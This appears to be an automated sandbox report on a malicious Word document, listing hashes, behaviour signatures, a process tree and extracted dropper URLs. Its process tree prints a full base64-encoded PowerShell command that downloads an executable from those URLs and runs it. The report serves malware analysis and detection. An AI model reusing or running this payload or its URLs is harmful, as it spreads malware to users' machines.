Analysis

  • max time kernel
    105s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    30/06/2023, 15:56

General

  • Target

    arc120doc.doc

  • Size

    172KB

  • MD5

    4e0b4da2278baadb9e76d1e20a16086a

  • SHA1

    e67b2b2f20073e65fcf22f68ecbfd3a2f7499534

  • SHA256

    3113c9be4e91ab866a9d0a0a3a71236962f0598a11a4345f114dcf1e3feae621

  • SHA512

    1f130f4fafb11b79670a0b9446cfb090ad0b4746f8b762d3febe2bd2c1a398efee56d15e070195678c23c40e16930bc4b379e589bbc30e72ec0d474aa719b4b9

  • SSDEEP

    3072:SG4PrXcuQuvpzm4bkiaMQgAlSApJ0aP7qI0DaCppgRyLtGIhRR:8DRv1m4bnQgISCJ0aPkGIhRR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://departure.world/wp-content/V4GFFNihI/

exe.dropper

http://songbadtv.com/wp-includes/XQrT027149/

exe.dropper

https://planet7vip.com/czy/hR8MMWwRkY/

exe.dropper

http://blog.tujanena.com/ariu/C2LSRbc8/

exe.dropper

http://drsoli.com/k1vjzk/XtSsbRPzyI/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\arc120doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JAB3AGUAYwB3AGkAYQBjAGgAcgBpAHoAPQAnAHMAYQBlAHAAYwBhAHoAdwBhAHUAZwBxAHUAdQBhAHkAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBgAFUAUgBpAHQAWQBQAHIAYABPAHQAbwBgAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAZwBlAG8AaABiAGUAbwBqAHkAYQBlAGMAIAA9ACAAJwA3ADMANAAnADsAJABxAHUAbwB1AHcAcwBpAGEAYgBxAHUAZQBrAHEAdQBlAHUAaAA9ACcAeABhAGUAdABoAGMAbwBlAG0AdABhAG8AeAAnADsAJABtAG8AeQBoAGEAZQBjAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABnAGUAbwBoAGIAZQBvAGoAeQBhAGUAYwArACcALgBlAHgAZQAnADsAJABnAGUAdQB6AHAAbwBvAHEAdQB5AGUAZQBmAGoAYQB1AHgAPQAnAGsAbwBpAHcAcQB1AG8AdQBuAGYAZQBhAHQAJwA7ACQAagBvAGkAcAB3AHUAYQBwAD0AJgAoACcAbgAnACsAJwBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcAZQBCAEMATABJAEUATgBUADsAJABxAHUAZQBpAGoAcgBvAGEAcwA9ACcAaAB0AHQAcAA6AC8ALwBkAGUAcABhAHIAdAB1AHIAZQAuAHcAbwByAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBWADQARwBGAEYATgBpAGgASQAvACoAaAB0AHQAcAA6AC8ALwBzAG8AbgBnAGIAYQBkAHQAdgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWABRAHIAVAAwADIANwAxADQAOQAvACoAaAB0AHQAcABzADoALwAvAHAAbABhAG4AZQB0ADcAdgBpAHAALgBjAG8AbQAvAGMAegB5AC8AaABSADgATQBNAFcAdwBSAGsAWQAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AdAB1AGoAYQBuAGUAbgBhAC4AYwBvAG0ALwBhAHIAaQB1AC8AQwAyAEwAUwBSAGIAYwA4AC8AKgBoAHQAdABwADoALwAvAGQAcgBzAG8AbABpAC4AYwBvAG0ALwBrADEAdgBqAHoAawAvAFgAdABTAHMAYgBSAFAAegB5AEkALwAnAC4AIgBzAFAAYABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHIAbwBhAGsAbABhAGUAaAA9ACcAdABoAG8AYQBtAHgAbwBvAGMAaABvAGIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGgAdQBhAGQAZABlAHUAcgBxAHUAYQBpAGgAagBhAHcAIABpAG4AIAAkAHEAdQBlAGkAagByAG8AYQBzACkAewB0AHIAeQB7ACQAagBvAGkAcAB3AHUAYQBwAC4AIgBkAE8AYAB3AE4AYABsAGAATwBhAGQAZgBpAEwAZQAiACgAJABoAHUAYQBkAGQAZQB1AHIAcQB1AGEAaQBoAGoAYQB3ACwAIAAkAG0AbwB5AGgAYQBlAGMAKQA7ACQAYwBoAGUAdQBrAGMAaABvAGkAdgA9ACcAcgBhAGUAawBxAHUAbwBlAGIAYgBpAG8AeQBwAHUAYQB5ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAbQBvAHkAaABhAGUAYwApAC4AIgBMAEUAYABOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAzADQAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBgAEUAQQB0AEUAIgAoACQAbQBvAHkAaABhAGUAYwApADsAJABxAHUAbwB1AHAAZgBvAHUAdABoAD0AJwBjAGUAYQBwAGIAaQBvAGIAdwBpAGEAYgAnADsAYgByAGUAYQBrADsAJABjAGgAYQBvAHEAdQBqAG8AYQBkAGIAdQB0AGgAeQB1AHQAPQAnAGsAZQBpAGIAdgBlAG8AZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABjAGgAaQBlAGoAZwB1AG0AYgBpAGEAcAA9ACcAcQB1AG8AaQBjAGgAYgBhAGUAeABwAGEAbwBzACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1828

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            0bfedf0dd98d235dda14846b28717561

            SHA1

            918c5f41cd1dd36fc25f161a6ef08f98024b38a7

            SHA256

            11f682ff8b375bd5e4ccefc12002552ab4e2f43cee394d0c01be69470be92212

            SHA512

            fde601ee1ffe36512d1f6d082ae448ad60255ad715ff423c0d0c69f1a45ef7f7aba4715c9f8d21d91c1b4d41bdd8a6dbbe65fab07ca38f18626076f3a9be0f87

          • memory/1828-95-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-97-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-92-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

            Filesize

            32KB

          • memory/1828-93-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-94-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-101-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-96-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-91-0x000000001B3B0000-0x000000001B692000-memory.dmp

            Filesize

            2.9MB

          • memory/1828-100-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/1828-99-0x0000000002960000-0x00000000029E0000-memory.dmp

            Filesize

            512KB

          • memory/2044-98-0x00000000066D0000-0x00000000067D0000-memory.dmp

            Filesize

            1024KB

          • memory/2044-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2044-69-0x00000000066D0000-0x00000000067D0000-memory.dmp

            Filesize

            1024KB

          • memory/2044-117-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB